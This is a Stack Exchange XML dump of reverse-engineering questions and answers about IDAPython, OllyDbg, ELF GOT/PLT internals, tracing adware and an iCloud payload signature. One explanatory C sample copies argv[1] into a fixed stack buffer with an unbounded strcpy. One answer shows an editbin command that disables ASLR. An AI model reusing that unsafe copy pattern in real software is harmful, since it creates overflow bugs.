ContentLicense="CC BY-SA 3.0" />
  <row Id="6384" PostTypeId="1" AcceptedAnswerId="6385" CreationDate="2014-10-05T15:32:39.120" Score="3" ViewCount="5455" Body="&lt;p&gt;I working with ARM executable.&#xA;Sometimes I have something like this &lt;code&gt;MOV&lt;/code&gt; instruction:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MOV R0, #0xCD548A40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where the number &lt;code&gt;#0xCD548A40&lt;/code&gt; is a valid offset but IDA doesn't recognize it as such automatically.&#xA;I tried to reanalyze the executable with enabled option &amp;quot;&lt;em&gt;Automatically convert data to offsets&lt;/em&gt;&amp;quot; without of any suitable result.&#xA;I also tried to write IDAPython script to fix this, but the only possibility of conversion to offset that I found was:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.jumpto(address)&#xA;idaapi.process_ui_action(&amp;quot;OpOffset&amp;quot;, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which is not too much convenient to use.&lt;/p&gt;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Given an instruction at specific address and one of its operands in a valid offset range is it possible to convert such numbers to offsets using IDA Python ?&lt;/p&gt;&#xA;&lt;p&gt;Which IDAPython API should I use for it ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-02-23T15:59:04.840" Title="Making operand an offset in IDA Python" Tags="|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6385" PostTypeId="2" ParentId="6384" CreationDate="2014-10-05T20:23:24.367" Score="5" Body="&lt;p&gt;I've been using the Ida &lt;code&gt;OpOff&lt;/code&gt; function for that. That was &lt;code&gt;idc&lt;/code&gt;, not &lt;code&gt;idapython&lt;/code&gt;, but &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#OpOff&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#OpOff&lt;/a&gt; says there's &lt;code&gt;OpOff&lt;/code&gt; in &lt;code&gt;idapython&lt;/code&gt; as well. In addition, there's another function, &lt;code&gt;OpOffEx&lt;/code&gt;, that lets you specify more details. I think one of those is what you need.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-05T20:23:24.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6386" PostTypeId="2" ParentId="6376" CreationDate="2014-10-05T20:56:43.287" Score="4" Body="&lt;p&gt;OllyDbg2 supports this.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Another possibility of forcing ASLR off to get the same bases every time a DLL is loaded did not work for me. For those who want to try it: Start a Visual Studio Developer prompt (yeah, you'd need VS) and type in&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;editbin /DYNAMICBASE:NO C:\Game\game.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It should modify the PE header to disable ASLR in that executable and all DLLs it loads. But as said, it had no effect for me.&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2021-01-08T15:32:38.867" LastActivityDate="2021-01-08T15:32:38.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6388" PostTypeId="1" CreationDate="2014-10-06T11:26:01.367" Score="1" ViewCount="2558" Body="&lt;p&gt;Is it theoretically possible to take these new smarter keyboards such as the K70 RGB and tap into the onboard memory which in the case of the K70 RGB, is used for storing lighting profiles and the likes, is it possible to tap into that for storage ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize it would be tiny storage but I was thinking of things such as hiding master password lists or encryption keys or something cool in there, a place no one would think to look or even know how to look..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... is it theoretically possible to monitor how the keyboard stores the profile to the memory when you tell it too, and watch it's process and somehow break that and emulate it to store your own files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, is there some tech hurdle I am missing here due to my noobyism...&lt;/p&gt;&#xA;" OwnerUserId="8699" LastEditorUserId="53" LastEditDate="2014-10-06T15:56:40.263" LastActivityDate="2015-04-20T22:44:30.803" Title="Storing files on keyboard memory" Tags="|hardware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6389" PostTypeId="1" CreationDate="2014-10-06T20:48:56.013" Score="1" ViewCount="197" Body="&lt;p&gt;I'm familiar with the concept of backtracing the stack after breaking on a specific instruction. &#xA;What I wonder about is this: theoretically, a great way to aid oneself in analyzing an application would be to let it execute the studied code, then carefully check the stack. As far as I know debuggers will only allow to trace the stack once they actually break on an instruction. This, however, could be problematic in that if I don't know &lt;em&gt;where&lt;/em&gt; to place the breakpoint, I'm deprived of this useful technique. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume, for example, that I were playing a simple shooting game. After (or maybe before) each shot there would be some math done to calculate the random projectile spread for the weapon. Again, theoretically, if one could just &quot;log&quot; all stack activity done in that period, that could greatly aid analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is that possible? &lt;/li&gt;&#xA;&lt;li&gt;If the answer to the above is yes, would that be a feasible analysis&#xA;technique? Given that there's literally tons of code executed all&#xA;the time in a large, complex application, would it be practically&#xA;possible to distinguish the studied code from everything else?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2014-10-14T10:39:29.447" Title="Tracing (&quot;logging&quot;) the stack without setting a breakpoint?" Tags="|debuggers|callstack|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6390" PostTypeId="1" AcceptedAnswerId="6391" CreationDate="2014-10-06T21:04:56.960" Score="3" ViewCount="337" Body="&lt;p&gt;I want to be able to monitor when a memory address is read from on Android. The binary I am studying stores around 60 bytes to a memory location during initialisation and this buffer is used at some later point. My problem is that I can't seem to find where this is accessed by static analysis and would like to set a breakpoint so that I can track its access during runtime.&lt;/p&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2014-10-07T02:56:29.317" Title="Break on memory access on Android" Tags="|ida|memory|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6391" PostTypeId="2" ParentId="6390" CreationDate="2014-10-07T02:56:29.317" Score="0" Body="&lt;p&gt;If the memory address is constant you can attach to the process and use the awatch command on GDB to monitor it. If it's not static you can break on the offending malloc call and set the bp there.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2014-10-07T02:56:29.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6392" PostTypeId="1" CreationDate="2014-10-07T13:20:16.573" Score="1" ViewCount="301" Body="&lt;p&gt;Sometime ago I came across this situation:&lt;br&gt;&#xA;Windows 7 machine infected with adware, ads tabs opening up in chrome out of nowhere. Pretty invasive stuff. In the end i got rid of it with some malware removal tool (adaware), but that's like the &quot;i'm feeling lucky&quot; approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say it didn't work, there's no suspect browser plugin / extension in sight, so it's some kind of program getting spawned from time to time that opens up stuff in chrome. Let's say we've looked in the usual places (scheduler, startup registry entries, services ...) but found nothing or it's just too messy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do you go about tracing something like that ?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to catch the process red-handed, as in some kind of system-wide debugger we can tell to attach itself to any process that tries to &lt;code&gt;exec&lt;/code&gt; chrome (or whatever call it is windows uses) so we can look at it before it goes away ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any dev / system / RE tool out there that can do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://superuser.com/questions/270719/tracing-adware-mysterious-ads-being-opened-in-chrome&quot;&gt;Similar question&lt;/a&gt; came up a while back with no good answer.&lt;/p&gt;&#xA;" OwnerUserId="8706" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.293" LastActivityDate="2014-10-09T17:15:16.593" Title="Tracing adware on windows - ads showing up in browser" Tags="|windows|malware|dynamic-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6393" PostTypeId="1" CreationDate="2014-10-07T14:53:16.870" Score="2" ViewCount="282" Body="&lt;p&gt;The test is on 32bit x86 Linux, with &lt;code&gt;g++&lt;/code&gt; 4.6.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I use a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6311/how-to-recover-the-exception-info-from-gcc-except-table-and-eh-handle-sections&quot;&gt;IDA pro script&lt;/a&gt; to recover the &lt;code&gt;.gcc_excpt_table&lt;/code&gt; and &lt;code&gt;.eh_frame&lt;/code&gt; sections from binary compiled from &lt;code&gt;C++&lt;/code&gt; language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to reuse the dumped information of these two exception handling tables in a new assembly code disassembled from this &lt;code&gt;C++&lt;/code&gt; ELF binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put these two tables into the assembly code produced by disassembler, solving all intra-module address issue (basically translate concrete addresses into symbols) and re-compile it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;g++ final.s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, there are three symbols that can not be found or I just don't know how to define it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;_Unwind_Resume&lt;/code&gt; are undefined&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;__FRAME_END__&lt;/code&gt; are undefined&lt;/li&gt;&#xA;&lt;li&gt;It seems that &lt;code&gt;eh_frame&lt;/code&gt; requires the beginning address of &lt;code&gt;.plt&lt;/code&gt; table, but is there anyway to get the beginning address of &lt;code&gt;.plt&lt;/code&gt; table during compiling? I know I can use the symbol &lt;code&gt;_GLOBAL_OFFSET_TABLE_&lt;/code&gt; to represent the beginning address of table &lt;code&gt;.got.plt&lt;/code&gt;, but after a quick search, I just don't know whether there is a similar symbol representing &lt;code&gt;.plt&lt;/code&gt; table.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-10-07T14:53:16.870" Title="How to include these exception handle symbols in x86 assembly code?" Tags="|disassembly|x86|c++|reassembly|exception|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6394" PostTypeId="1" CreationDate="2014-10-07T16:14:17.847" Score="3" ViewCount="451" Body="&lt;p&gt;I'm trying to decipher which algorithm was used to sign a specific chunk of data while reverse-engineering iCloud backups. Long story short: I'm trying to retrieve some old voicemails that I lost when switching mobile providers which were deleting after switching out my SIM cards. iCloud backups store old voicemails, so I figured this might be an easy way to retrieve them (I might have been a bit ambitious ;) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data I'm looking at is sent in a request header and is base-64 encoded. It looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AuN9pwI6lGPo4o/QRCHOx2AgLw0+ZYKa/EMrV3mgF3YGAAACsAYAAABRAAAAgODPA2YwKh3l2fLM3gW4Af9xPlv1/+EtbY4h9oARcUPQX4EdH+WAX8Ykm6OHVqd83R66QVIIBHI0tT25B1wFgXuGySqCaaSD0w&#xA;Y7gdW2k3D2BvD2nsG5id4t9baDysQJnjb6ZnjKDfcZFN8WtjQrHloMBqKFXo/kFyEcrMe2RRFuAAAByDw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+CjwhRE9DVFlQRSBwbGlzdCBQVUJM&#xA;SUMgIi0vL0FwcGxlLy9EVEQgUExJU1QgMS4wLy9FTiIgImh0dHA6Ly93d3cuYXBwbGUuY29tL0RURHMvUHJvcGVydHlMaXN0LTEuMC5kdGQiPgo8cGxpc3QgdmVyc2lvbj0iMS4wIj4KPGRpY3Q+Cgk8a2V5Pn&#xA;Byb3RvY29sVmVyc2lvbjwva2V5PgoJPHN0cmluZz4xLjA8L3N0cmluZz4KCTxrZXk+dXNlckluZm88L2tleT4KCTxkaWN0PgoJCTxrZXk+Y2xpZW50LWlkPC9rZXk+CgkJPHN0cmluZz43QzU5NTk2NS1CRjVE&#xA;LTRFQUMtODU0Ni1ERjE3MURFODlFODk8L3N0cmluZz4KCQk8a2V5Pmxhbmd1YWdlPC9rZXk+CgkJPHN0cmluZz5lbjwvc3RyaW5nPgoJCTxrZXk+dGltZXpvbmU8L2tleT4KCQk8c3RyaW5nPkFtZXJpY2EvQ2&#xA;hpY2Fnbzwvc3RyaW5nPgoJPC9kaWN0Pgo8L2RpY3Q+CjwvcGxpc3Q+CgAAAE8BZcdgyW1geNb3ShFevEjAAQuaxtAAAAA2BwfNJW4CI1ecZzpRj+05iam1VDBu+v6s1vFV2yGsNid5yTyOLs8zP5cDfl9doFgA&#xA;ydAAAAAAAAAA=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Decoding, we get the following (with relevant Python code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; payload = &quot;&quot;&quot;AuN9pwI6lGPo4o/QRCHOx2AgLw0+ZYKa/EMrV3mgF3YGAAACsAYAAABRAAAAgODPA2YwKh3l2fLM3gW4Af9xPlv1/+EtbY4h9oARcUPQX4EdH+WAX8Ykm6OHVqd83R66QVIIBHI0tT25B1wFgXuGySqCaaSD0w&#xA;Y7gdW2k3D2BvD2nsG5id4t9baDysQJnjb6ZnjKDfcZFN8WtjQrHloMBqKFXo/kFyEcrMe2RRFuAAAByDw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+CjwhRE9DVFlQRSBwbGlzdCBQVUJM&#xA;SUMgIi0vL0FwcGxlLy9EVEQgUExJU1QgMS4wLy9FTiIgImh0dHA6Ly93d3cuYXBwbGUuY29tL0RURHMvUHJvcGVydHlMaXN0LTEuMC5kdGQiPgo8cGxpc3QgdmVyc2lvbj0iMS4wIj4KPGRpY3Q+Cgk8a2V5Pn&#xA;Byb3RvY29sVmVyc2lvbjwva2V5PgoJPHN0cmluZz4xLjA8L3N0cmluZz4KCTxrZXk+dXNlckluZm88L2tleT4KCTxkaWN0PgoJCTxrZXk+Y2xpZW50LWlkPC9rZXk+CgkJPHN0cmluZz43QzU5NTk2NS1CRjVE&#xA;LTRFQUMtODU0Ni1ERjE3MURFODlFODk8L3N0cmluZz4KCQk8a2V5Pmxhbmd1YWdlPC9rZXk+CgkJPHN0cmluZz5lbjwvc3RyaW5nPgoJCTxrZXk+dGltZXpvbmU8L2tleT4KCQk8c3RyaW5nPkFtZXJpY2EvQ2&#xA;hpY2Fnbzwvc3RyaW5nPgoJPC9kaWN0Pgo8L2RpY3Q+CjwvcGxpc3Q+CgAAAE8BZcdgyW1geNb3ShFevEjAAQuaxtAAAAA2BwfNJW4CI1ecZzpRj+05iam1VDBu+v6s1vFV2yGsNid5yTyOLs8zP5cDfl9doFgA&#xA;ydAAAAAAAAAA=&quot;&quot;&quot;&#xA;&amp;gt;&amp;gt;&amp;gt; decoded_data = payload.decode(&quot;base-64&quot;)&#xA;&amp;gt;&amp;gt;&amp;gt; decoded_data&#xA;\x02\xe3}\xa7\x02:\x94c\xe8\xe2\x8f\xd0D!\xce\xc7` /\r&amp;gt;e\x82\x9a\xfcC+Wy\xa0\x17v\x06\x00\x00\x02\xb0\x06\x00\x00\x00Q\x00\x00\x00\x80\xe0\xcf\x03f0*\x1d\xe5\xd9\xf2\xcc\xde\x05\xb8\x01\xffq&amp;gt;[\xf5\xff\xe1-m\x8e!\xf6\x80\x11qC\xd0_\x81\x1d\x1f\xe5\x80_\xc6$\x9b\xa3\x87V\xa7|\xdd\x1e\xbaAR\x08\x04r4\xb5=\xb9\x07\\\x05\x81{\x86\xc9*\x82i\xa4\x83\xd3\x06;\x81\xd5\xb6\x93p\xf6\x06\xf0\xf6\x9e\xc1\xb9\x89\xde-\xf5\xb6\x83\xca\xc4\t\x9e6\xfafx\xca\r\xf7\x19\x14\xdf\x16\xb64+\x1eZ\x0c\x06\xa2\x85^\x8f\xe4\x17!\x1c\xac\xc7\xb6E\x11n\x00\x00\x01\xc8&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;\n&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;\n&amp;lt;plist version=&quot;1.0&quot;&amp;gt;\n&amp;lt;dict&amp;gt;\n\t&amp;lt;key&amp;gt;protocolVersion&amp;lt;/key&amp;gt;\n\t&amp;lt;string&amp;gt;1.0&amp;lt;/string&amp;gt;\n\t&amp;lt;key&amp;gt;userInfo&amp;lt;/key&amp;gt;\n\t&amp;lt;dict&amp;gt;\n\t\t&amp;lt;key&amp;gt;client-id&amp;lt;/key&amp;gt;\n\t\t&amp;lt;string&amp;gt;7C595965-BF5D-4EAC-8546-DF171DE89E89&amp;lt;/string&amp;gt;\n\t\t&amp;lt;key&amp;gt;language&amp;lt;/key&amp;gt;\n\t\t&amp;lt;string&amp;gt;en&amp;lt;/string&amp;gt;\n\t\t&amp;lt;key&amp;gt;timezone&amp;lt;/key&amp;gt;\n\t\t&amp;lt;string&amp;gt;America/Chicago&amp;lt;/string&amp;gt;\n\t&amp;lt;/dict&amp;gt;\n&amp;lt;/dict&amp;gt;\n&amp;lt;/plist&amp;gt;\n\x00\x00\x00O\x01e\xc7`\xc9m`x\xd6\xf7J\x11^\xbcH\xc0\x01\x0b\x9a\xc6\xd0\x00\x00\x006\x07\x07\xcd%n\x02#W\x9cg:Q\x8f\xed9\x89\xa9\xb5T0n\xfa\xfe\xac\xd6\xf1U\xdb!\xac6\'y\xc9&amp;lt;\x8e.\xcf3?\x97\x03~_]\xa0X\x00\xc9\xd0\x00\x00\x00\x00\x00\x00\x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After pretty-printing, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; print decoded_data&#xA;���4+Z+Wy�v�Q���f0*�������q&amp;gt;[���-m�!�qC�_��_�$���V�|��Ar4�=�\�{��*�i���;�ն�p������-��� �6�fx�&#xA;      ��^��!�ǶEn�&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;!DOCTYPE plist PUBLIC &quot;-//Apple//DTD PLIST 1.0//EN&quot; &quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&quot;&amp;gt;&#xA;&amp;lt;plist version=&quot;1.0&quot;&amp;gt;&#xA;&amp;lt;dict&amp;gt;&#xA;    &amp;lt;key&amp;gt;protocolVersion&amp;lt;/key&amp;gt;&#xA;    &amp;lt;string&amp;gt;1.0&amp;lt;/string&amp;gt;&#xA;    &amp;lt;key&amp;gt;userInfo&amp;lt;/key&amp;gt;&#xA;    &amp;lt;dict&amp;gt;&#xA;        &amp;lt;key&amp;gt;client-id&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;7C595965-BF5D-4EAC-8546-DF171DE89E89&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;language&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;en&amp;lt;/string&amp;gt;&#xA;        &amp;lt;key&amp;gt;timezone&amp;lt;/key&amp;gt;&#xA;        &amp;lt;string&amp;gt;America/Chicago&amp;lt;/string&amp;gt;&#xA;    &amp;lt;/dict&amp;gt;&#xA;&amp;lt;/dict&amp;gt;&#xA;&amp;lt;/plist&amp;gt;&#xA;Oe�`�m`x��J^�H�&#xA;               ���6�%n#W�g:Q��9���T0n�����U�!�6'y�&amp;lt;�.�3?�~_]�X��&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the data isn't encrypted, I'm assuming (maybe incorrectly?) that the data chunks before and after the data represent a signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to identify which algorithm might have been used to generate this signature?&lt;/p&gt;&#xA;" OwnerUserId="8709" LastEditorUserId="8709" LastEditDate="2014-10-07T19:04:55.203" LastActivityDate="2015-05-27T06:45:56.353" Title="Identifying an algorithm used to sign iCloud payload" Tags="|encryption|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6397" PostTypeId="2" ParentId="2172" CreationDate="2014-10-07T19:28:33.000" Score="14" Body="&lt;p&gt;There are a plethora of things programmers do not know about how &lt;code&gt;ELF&lt;/code&gt; binaries work internally. And, unfortunately, there's almost no solid references apart from two or three which broadly cover the subject. Many tools (linkers, loaders, assemblers, debuggers, ...) remain a mystery for most of you. When it comes to linkers and loaders, the main reference is &lt;em&gt;Linkers and Loaders&lt;/em&gt; by John R. Levine (&lt;a href=&quot;http://linker.iecc.com/&quot; rel=&quot;noreferrer&quot;&gt;http://linker.iecc.com/&lt;/a&gt;). Another reliable source of information is the official &lt;code&gt;ELF&lt;/code&gt; binary format documentation. But these are merely introductions to how a certain, or most, technologies work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, here's an answer to your question (why are the &lt;code&gt;GOT&lt;/code&gt; and &lt;code&gt;PLT&lt;/code&gt; sections still included in static &lt;code&gt;ELF&lt;/code&gt; binaries?): &lt;strong&gt;PERFORMANCE&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More explanations ... Suppose you have this C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #include &amp;lt;stdio.h&amp;gt;&#xA;    #include &amp;lt;string.h&amp;gt;&#xA;&#xA;    int main(int argc, char **argv)&#xA;    {&#xA;        char str[1024];&#xA;&#xA;        strcpy(str, argv[1]);&#xA;        printf(&quot;%s\n&quot;, str);&#xA;&#xA;        return 0;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need to be a genius to figure out that all it does is copy a command line parameter into a string and print it out. Here's the &lt;code&gt;main&lt;/code&gt; function in assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     000000000040105e &amp;lt;main&amp;gt;:&#xA;     40105e:   55                      push   rbp&#xA;     40105f:   48 89 e5                mov    rbp,rsp&#xA;     401062:   48 81 ec 10 04 00 00    sub    rsp,0x410&#xA;     401069:   89 bd fc fb ff ff       mov    DWORD PTR [rbp-0x404],edi&#xA;     40106f:   48 89 b5 f0 fb ff ff    mov    QWORD PTR [rbp-0x410],rsi&#xA;     401076:   48 8b 85 f0 fb ff ff    mov    rax,QWORD PTR [rbp-0x410]&#xA;     40107d    48 83 c0 08             add    rax,0x8&#xA;     401081:   48 8b 10                mov    rdx,QWORD PTR [rax]&#xA;     401084:   48 8d 85 00 fc ff ff    lea    rax,[rbp-0x400]&#xA;     40108b:   48 89 d6                mov    rsi,rdx&#xA;     40108e:   48 89 c7                mov    rdi,rax&#xA;     401091:   e8 3a f2 ff ff          call   4002d0 &amp;lt;__rela_iplt_end+0x38&amp;gt;&#xA;     401096:   48 8d 85 00 fc ff ff    lea    rax,[rbp-0x400]&#xA;     40109d:   48 89 c7                mov    rdi,rax&#xA;     4010a0:   e8 fb 09 00 00          call   401aa0 &amp;lt;_IO_puts&amp;gt;&#xA;     4010a5:   b8 00 00 00 00          mov    eax,0x0&#xA;     4010aa:   c9                      leave&#xA;     4010ab:   c3                      ret&#xA;     4010ac:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that at the address &lt;code&gt;401091&lt;/code&gt; you have a call to a function stored in the &lt;code&gt;PLT&lt;/code&gt; (the label is more expressive). Amazingly, at this address &lt;code&gt;4002d0&lt;/code&gt; you'll find a jump to something stored in the &lt;code&gt;GOT&lt;/code&gt; (see below).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     4002d0:   ff 25 f2 2f 2c 00       jmp QWORD PTR [rip+0x2c2ff2] # 6c32c8 &amp;lt;_GLOBAL_OFFSET_TABLE_+0x20&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At that exact location in the &lt;code&gt;GOT&lt;/code&gt;, you'll find calls to functions stored in sections such as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    00000000004187d0 &amp;lt;handle_amd&amp;gt;:&#xA;    4187d0:    53                      push   rbx&#xA;    4187d1:    b8 00 00 00 80          mov    eax,0x80000000&#xA;    4187d6:    0f a2                   cpuid&#xA;    4187d8:    81 ff c4 00 00 00       cmp    edi,0xc4&#xA;    4187de:    7f 40                   jg     418820 &amp;lt;handle_amd+0x50&amp;gt;&#xA;    4187e0:    31 d2                   xor    edx,edx&#xA;    4187e2:    81 ff bf 00 00 00       cmp    edi,0xbf&#xA;    4187e8:    0f 9d c2                setge  dl&#xA;    4187eb:    81 ea fb ff ff 7f       sub    edx,0x7ffffffb&#xA;    4187f1:    39 c2                   cmp    edx,eax&#xA;    4187f3:    77 2b                   ja     418820 &amp;lt;handle_amd+0x50&amp;gt;&#xA;    4187f5:    89 d0                   mov    eax,edx&#xA;    4187f7:    0f a2                   cpuid&#xA;    4187f9:    81 ff bb 00 00 00       cmp    edi,0xbb&#xA;    4187ff:    7e 27                   jle    418828 &amp;lt;handle_amd+0x58&amp;gt;&#xA;    418801:    81 ef bc 00 00 00       sub    edi,0xbc&#xA;    418807:    83 ff 08                cmp    edi,0x8&#xA;    41880a:    0f 87 48 01 00 00       ja     418958 &amp;lt;handle_amd+0x188&amp;gt;&#xA;    418810:    48 8d 35 c9 0b 08 00    lea    rsi,[rip+0x80bc9]        # 4993e0 &amp;lt;__PRETTY_FUNCTION__.4767+0x20&amp;gt;&#xA;    418817:    48 63 04 be             movsxd rax,DWORD PTR [rsi+rdi*4]&#xA;    41881b:    48 01 c6                add    rsi,rax&#xA;    41881e:    ff e6                   jmp    rsi&#xA;    418820:    31 c0                   xor    eax,eax&#xA;    418822:    5b                      pop    rbx&#xA;    418823:    c3                      ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, look at the section's name. Second, if you look closely at the code you'll notice that this function identifies the CPU - by dissecting the return values of the &lt;code&gt;cpuid&lt;/code&gt; instruction (&lt;code&gt;4187d6&lt;/code&gt; and &lt;code&gt;4187f7&lt;/code&gt;) - (more accurately the micro architecture and other features such as cache size, ...) you're running your &lt;code&gt;ELF&lt;/code&gt; binary on, and then decides which implementation suites that configuration best. This way, the &lt;code&gt;strcpy&lt;/code&gt; function called in the above C code will always be the fastest possible, whatever architecture you're on (Intel: Nehalem, Sandy Bridge, Ivy Bridge, Haswell, ...; AMD: Phenom, Opteron, ...; ...). Keep in mind that those fast implementations have been hand optimized and fine tuned for each of the possible target architectures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's what the &lt;code&gt;PLT&lt;/code&gt; and &lt;code&gt;GOT&lt;/code&gt; sections are used for in your static &lt;code&gt;ELF&lt;/code&gt; binary file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want to investigate this yourself, you should compile the &lt;code&gt;C&lt;/code&gt; code above with GCC version 4.9 (which is the one I used) using the &lt;code&gt;-static&lt;/code&gt; and &lt;code&gt;-g3&lt;/code&gt; (debug symbols) flags. Then, disassemble the binary file using &lt;code&gt;objdump&lt;/code&gt; and the &lt;code&gt;-D&lt;/code&gt; switch in order to have all the &lt;code&gt;ELF&lt;/code&gt; sections. You can then go through all the sections and explore the assembly code. You can also run the binary file using &lt;code&gt;gdb&lt;/code&gt; and set breakpoints at key locations and run the program step by step.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="2147" LastEditDate="2017-09-12T08:40:55.893" LastActivityDate="2017-09-12T08:40:55.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6398" PostTypeId="1" AcceptedAnswerId="6616" CreationDate="2014-10-07T20:17:51.937" Score="3" ViewCount="1195" Body="&lt;p&gt;I recently switched from OllyDbg 1 to 2, and I'm really missing a feature the plugin &quot;LabelArgs&quot; provided to me in OllyDbg 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Labels were extended in a way it was possible to name the first instruction of an obvious functions like &quot;WriteToLog(int portOrOther, string title, string category, string text, int severity)&quot;. In the disassembly, calls to the functions then appeared visually like calls to known WinAPI methods, for example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jYRep.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In OllyDbg 2 it looks like:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VDgLt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly strings are not directly seen anymore, but it helped me much more seeing when pushes are about to be method parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an OllyDbg 2 compatible plugin providing me this 